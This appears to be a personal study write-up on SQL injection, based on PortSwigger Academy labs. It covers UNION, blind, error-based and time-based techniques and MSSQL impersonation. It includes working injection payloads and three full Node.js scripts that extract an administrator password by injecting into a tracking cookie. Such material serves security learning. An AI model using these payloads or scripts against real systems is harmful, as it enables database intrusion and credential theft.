SQL Injections

Whatever the injection you do, and where you do it, don’t forget that you maybe need to encode your payload.

How to detect SQL injection vulnerabilities?

First of all, you know that you’ll have a different response between a well formated request and a working injection. Typically, if you are able to create a SQL error, you can retreive a 500 status code, or if the application also return 200, you may also have a truncated or empty response.

You can use some regular characters set such as:

  • The single quote character ' and look for errors or other anomalies.
  • Boolean conditions such as OR 1=1 and OR 1=2.
  • Use of comments, such as /*, --, #. This can also help you to define the uses database.

Location of SQL injections

Most SQL injection vulnerabilities occur within the WHERE clause of a SELECT query. Some other common locations where SQL injection arises are:

  • In UPDATE statements, within the updated values or the WHERE clause.
  • In INSERT statements, within the inserted values.
  • In SELECT statements, within the table or column name.
  • In SELECT statements, within the ORDER BY clause.

Take care when injecting the conditionOR 1=1 into a SQL query. Even if it appears to be harmless in the context you’re injecting into, it’s common for applications to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, it can result in an accidental loss of data.

Know how many columns for UNION:

  • ' ORDER BY n--, change n from 1 to infinite until you get an error message. n is the index of the column we want to order by, so we take the last n without error message.
  • ' UNION SELECT NULL,NULL--, for example, testing with 2 values. Only return successfully if the number of NULL values is equals to the number of selected values.

On Oracle database, we always need to specify a valid table. On that database, we always have a built-in table called dual. So, we can do: ' UNION SELECT NULL FROM DUAL--

Know the columns type for UNION:

All UNION fields needs to have the same types as the original request. So what we need to do to know each fields type is to do this request:

  • ' UNION SELECT 'a',NULL,NULL,NULL-- And set the 'a' value to another NULL value to check if we have some error or different display.

If this is the case, we can check with other value types.

Concatenate values:

To concat some values of multiple fields because we have only one field returned, we can use the original or syntax, which in SQL means string concatenation. For example, the following query will give us all username and password of users, separated by a tilde character. ' UNION SELECT username || '~' || password FROM users--

https://0a71002c04d2e9fd817475860040000c.web-security-academy.net/filter?category=Pets%20%27%20UNION%20SELECT%20NULL,%20username%20||%20%27~%27%20||%20password%20FROM%20users%20--

Informations to know from database:

  • The type and version of the database software.
  • The tables and columns that the database contains.

For the type and version:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

Database introspection:

How can we list all tables and columns of a table of a non-Oracle database?

Each database type, except Oracle has a table called information_schema. It includes tables and columns that are used to do some introspection.

We can query the database to recover all tables with for example the request:

  • SELECT * FROM information_schema.tables

Returns:

Column nameType
TABLE_CATALOGstring
TABLE_SCHEMAstring
TABLE_NAMEstring
TABLE_TYPEstring

And we can recover all columns of the table Users with the following request:

  • SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Returns:

Column nameType
TABLE_CATALOGstring
TABLE_SCHEMAstring
TABLE_NAMEstring
COLUMN_NAMEstring
DATA_TYPEstring (I guess)

To filter only tables that are created by the user under:

  • MySQL: WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema')
  • PostgreSQL: WHERE TABLE_SCHEMA NOT IN ('pg_catalog', 'information_schema')

Blind injections:

When the backend doesn’t returns any response to the frontend. No error too, we can use some blind injections to determine what values are in database. You shouldn’t underestimate that technique because we can do a lot of things with it.

Content changing on error:

First of all, if when the SQL has a syntax error, and does not return the error to the frontend, but it change something on the website. In that case, we can do a blind injection by triggering some errors on the response. In that way, if it was to check if an element was in the database, and we don’t see it anymore after passing at the condition ”’ AND 1=2”, then you could determine that you have a blind injection. You can try:

  • ' AND 1=1
  • ' AND 1=2

And check if between these two injections, a response differ or an information disappear on the second one.

If yes, you can try each values of a field, until this information reappears. For a string, you can use the SUBSTRING command to take each letter one by one of a password and compare to another. ' AND SUBSTRING((SELECT password FROM users WHERE username = 'Administrator'), 1, 1) = 't

So if you see the information on the page, this means that the first letter of the administrator is t.

For example, this script that I made for the PortSwigger SQL injection course, Lab: Blind SQL injection with conditional responses:

const { fetch } = require("undici");

let password = "";
let chars = "";

// Construct a char that includes [a-z0-9]
for (let i = 48; i <= 57; i++) {
	chars += String.fromCharCode(i);
}
for (let i = 97; i <= 122; i++) {
	chars += String.fromCharCode(i);
}

(async () => {
	global_loop: for (let i = 0; i < chars.length; i++) {
		const res = await fetch("https://0a5900fe03153aac8039d0ff00f600f7.web-security-academy.net/", {
				"credentials": "include",
				"headers": {
					"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
					"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
					"Accept-Language": "en-US,en;q=0.5",
					"Upgrade-Insecure-Requests": "1",
					"Sec-Fetch-Dest": "document",
					"Sec-Fetch-Mode": "navigate",
					"Sec-Fetch-Site": "same-origin",
					"Sec-Fetch-User": "?1",
					"Pragma": "no-cache",
					"Cache-Control": "no-cache",
					"Cookie":
			"session=y1sa7WYCvDcNVOonN9URywztmdRZH6Xh; TrackingId=zGyX83tFBeza7otk" +
				encodeURIComponent(`' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), ${password.length + 1}, 1) = '${chars[i]}`)
				},
				"referrer": "https://0a5900fe03153aac8039d0ff00f600f7.web-security-academy.net/login",
				"method": "GET",
				"mode": "cors"
			});

		for await (let chunk of res.body) {
			chunk = String.fromCharCode.apply(null, chunk);
			if (chunk.includes("Welcome back!")) {
				password += chars[i];
				console.log("Found:", chars[i]);
				i = -1;
				break;
			}
		}
	}
	
	console.log("Password found:", password);
})();

When you reach the end of the password, the SUBSTRING will throw an error on each requests, so you’ll reach the end of the loop and see the complete password.

Triggering errors:

More than that, you also can trigger some error on SQL to break the response. On the previous section, the detection was on the number of response for example with the same payload. Here, it’ll be with the some conditional errors that we’ll trigger and will result on a error from the database that need to be displayed. Anyway, for that technique, you need to have an error returns.

With a SELECT CASE WHEN query, you can match a character and say: “If it’s the good character, divid 1 by 0 (that’ll cause an error in the SQL query) and transform the result to char.”

SELECT CASE WHEN (condition) THEN TO_CHAR(1/0) ELSE normal_data_expected_by_sql

For example, on the next challenge, Lab: Blind SQL injection with conditional errors:

const { fetch } = require("undici");

let password = "";
let chars = "";
for (let i = 48; i <= 57; i++) {
	chars += String.fromCharCode(i);
}
for (let i = 97; i <= 122; i++) {
	chars += String.fromCharCode(i);
}

(async () => {
	let length = 0;
	global_loop: for (let i = 1; i < 100; i++) {
		const res = await fetch("https://0a12009a0451bc5680b308a0003c00c9.web-security-academy.net/", {
				"credentials": "include",
				"headers": {
					"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
					"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
					"Accept-Language": "en-US,en;q=0.5",
					"Upgrade-Insecure-Requests": "1",
					"Sec-Fetch-Dest": "document",
					"Sec-Fetch-Mode": "navigate",
					"Sec-Fetch-User": "?1",
					"Pragma": "no-cache",
					"Cache-Control": "no-cache",
					"Cookie":
					"session=F8i1qRdMDVNG5NeLt5FzC3g6iAosNj18; TrackingId=eeeeeeeee" +
					encodeURIComponent(`'||(SELECT CASE WHEN (LENGTH((SELECT password FROM users WHERE username = 'administrator')) = ${i}) THEN TO_CHAR(1/0) ELSE 'ok' END FROM dual)--`),
					"Sec-Fetch-Site": "same-origin",
				},
				"referrer": "https://0a12009a0451bc5680b308a0003c00c9.web-security-academy.net/login",
				"method": "GET",
				"mode": "cors"
			});

		for await (let chunk of res.body) {
			chunk = String.fromCharCode.apply(null, chunk);
			if (chunk.includes("Internal Server Error")) {
				length = i;
				console.log("Password has", length, "characters");
				break global_loop;
			}
		}
	}
	
	pass_loop: for (let i = 0; i < chars.length; i++) {
		const res = await fetch("https://0a12009a0451bc5680b308a0003c00c9.web-security-academy.net/", {
				"credentials": "include",
				"headers": {
					"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
					"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
					"Accept-Language": "en-US,en;q=0.5",
					"Upgrade-Insecure-Requests": "1",
					"Sec-Fetch-Dest": "document",
					"Sec-Fetch-Mode": "navigate",
					"Sec-Fetch-Site": "same-origin",
					"Sec-Fetch-User": "?1",
					"Pragma": "no-cache",
					"Cache-Control": "no-cache",
					"Cookie":
			"session=F8i1qRdMDVNG5NeLt5FzC3g6iAosNj18; TrackingId=eeeee" +
				encodeURIComponent(`'||(SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username = 'administrator'), ${password.length + 1}, 1) = '${chars[i]}') THEN TO_CHAR(1/0) ELSE 'ok' END FROM dual)--`)
				},
				"referrer": "https://0a12009a0451bc5680b308a0003c00c9.web-security-academy.net/login",
				"method": "GET",
				"mode": "cors"
			});

		for await (let chunk of res.body) {
			chunk = String.fromCharCode.apply(null, chunk);
			if (chunk.includes("Internal Server Error")) {
				password += chars[i];
				console.log("Found:", chars[i]);
				i = -1;
				if (password.length === length)
					break pass_loop;
				break;
			}
		}
	}
	
	console.log("Password found:", password);
})();

Leaks in error messages:

Another very powerfull injection can happened on missconfigured databases. In some verbose message, you can have value which are returned to the user with a data leak in it. This usually happened on variable casting such as casting a STRING into an INT with CAST(value AS int) for example, combined with a nested SELECT query as value.

For example, on another SQL Injection challenge on PortSwigger: ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- This request is made to bypass only the request. Becase we had multiple field returned, we had to add the LIMIT 1.

Also, we need a conditional statement after the AND keyword, and comment the end of the query to avoid interferences.

Time based injections:

For time based SQL injection, we’ll trigger a waiting time based on a conditional result. For example, checking the first character of the password administrator, and if they’re equals, trigger a time delay. I made the following script for the PortSwigger challenge Lab: Blind SQL injection with time delays and information retrieval:

const { fetch } = require("undici");

let password = "";
let chars = "";
for (let i = 48; i <= 57; i++) {
	chars += String.fromCharCode(i);
}
for (let i = 97; i <= 122; i++) {
	chars += String.fromCharCode(i);
}

(async () => {
	let length = 0;
	global_loop: for (let i = 1; i < 100; i++) {
		const t1 = Date.now();
		await fetch("https://0a20000803ae4d9381e65289008d0098.web-security-academy.net/", {
				"credentials": "include",
				"headers": {
					"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
					"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
					"Accept-Language": "en-US,en;q=0.5",
					"Upgrade-Insecure-Requests": "1",
					"Sec-Fetch-Dest": "document",
					"Sec-Fetch-Mode": "navigate",
					"Sec-Fetch-User": "?1",
					"Pragma": "no-cache",
					"Cache-Control": "no-cache",
					"Cookie":
					"session=rmx6lhuk3f1LZCYsEwWQwgc00UT8raUE; TrackingId=5AiFShSaCjyzRmXn" +
					encodeURIComponent(`'; SELECT CASE WHEN ((SELECT LENGTH(password) FROM users WHERE username='administrator') =${i}) THEN pg_sleep(1) ELSE pg_sleep(0) END--`),
					"Sec-Fetch-Site": "same-origin",
				},
				"referrer": "https://0a20000803ae4d9381e65289008d0098.web-security-academy.net/login",
				"method": "GET",
				"mode": "cors"
			});
		const t2 = Date.now();

		if (t2 - t1 >= 1_000) {
			length = i;
			console.log("Password has", length, "characters");
			break global_loop;
		}
	}
	
	pass_loop: for (let i = 0; i < chars.length; i++) {
		const t1 = Date.now();
		await fetch("https://0a20000803ae4d9381e65289008d0098.web-security-academy.net/", {
			"credentials": "include",
			"headers": {
				"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
				"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
				"Accept-Language": "en-US,en;q=0.5",
				"Upgrade-Insecure-Requests": "1",
				"Sec-Fetch-Dest": "document",
				"Sec-Fetch-Mode": "navigate",
				"Sec-Fetch-User": "?1",
				"Pragma": "no-cache",
				"Cache-Control": "no-cache",
				"Cookie":
				"session=rmx6lhuk3f1LZCYsEwWQwgc00UT8raUE; TrackingId=5AiFShSaCjyzRmXn" +
				encodeURIComponent(`'; SELECT CASE WHEN ((SELECT SUBSTRING(password,${password.length+1},1) FROM users WHERE username='administrator')='${chars[i]}') THEN pg_sleep(1) ELSE pg_sleep(0) END--`),
				"Sec-Fetch-Site": "same-origin",
			},
			"referrer": "https://0a20000803ae4d9381e65289008d0098.web-security-academy.net/login",
			"method": "GET",
			"mode": "cors"
		});
		const t2 = Date.now();

		if (t2 - t1 >= 1_000) {
			password += chars[i];
			console.log("Found:", chars[i]);
			i = -1;
			if (password.length === length)
				break pass_loop;
		}
	}
	
	console.log("Password found:", password);
})();

Impersonate in MSSQL:

We can also list users in MSSQL:

select * from master.sys.server_principals;

Which allows you to check every users available on the database;

The user names are on the column name, you can also check if the account is disabled or not through the is_disabled command, and check the user type with the type column. For more information, check: https://learn.microsoft.com/fr-fr/sql/relational-databases/system-catalog-views/sys-server-principals-transact-sql?view=sql-server-ver17

Once you have the user you want to impersonate, you can use the EXECUTE AS LOGIN = 'username'; to switch execution context in the database.

To switch user, they need to have the IMPERSONATE permission between them to allow you EXECUTE AS USER.

Source: https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17#examples